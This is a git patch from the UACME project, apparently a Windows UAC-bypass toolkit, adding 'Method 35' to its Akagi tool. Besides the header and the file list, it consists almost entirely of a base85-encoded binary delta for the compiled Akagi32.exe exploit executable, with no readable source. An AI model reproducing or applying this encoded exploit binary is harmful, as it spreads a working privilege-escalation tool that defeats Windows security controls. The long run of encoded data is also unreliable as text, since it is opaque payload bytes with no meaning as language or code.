From 34a5cc2ca0bde78419046ca773231bd2ab6cbbc9 Mon Sep 17 00:00:00 2001 From: hfiref0x Date: Sat, 27 May 2017 18:01:47 +0700 Subject: [PATCH] v 2.7.3 Method 35 added, readme updated. --- Compiled/Akagi32.exe | Bin 84480 -> 85504 bytes Compiled/Akagi64.exe | Bin 93184 -> 94208 bytes README.md | 19 ++- Source/Akagi/Resource.rc | Bin 6144 -> 6144 bytes Source/Akagi/methods/enigma0x3.c | 12 +- Source/Akagi/methods/methods.c | 28 +++- Source/Akagi/methods/methods.h | 5 +- Source/Akagi/methods/tyranid.c | 234 ++++++++++++++++++++++++++++++- Source/Akagi/methods/tyranid.h | 9 +- Source/Hibiki/hibiki.suppress | 50 +++++++ Source/Inazuma/main.c | 8 +- Source/Naka/Naka.vcxproj | 94 +++++++++++++ Source/Shared/ntos.h | 162 ++++++++++++++++----- Source/uacme.sln | 4 +- UACME.sha256 | 25 ++-- 15 files changed, 576 insertions(+), 74 deletions(-) create mode 100644 Source/Hibiki/hibiki.suppress diff --git a/Compiled/Akagi32.exe b/Compiled/Akagi32.exe index 13833d1980e32a4c14d673a32e143cd60380bb11..359314e001ad5cdcd61fd8d125aa4e2e5359b3c9 100644 GIT binary patch delta 19073 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 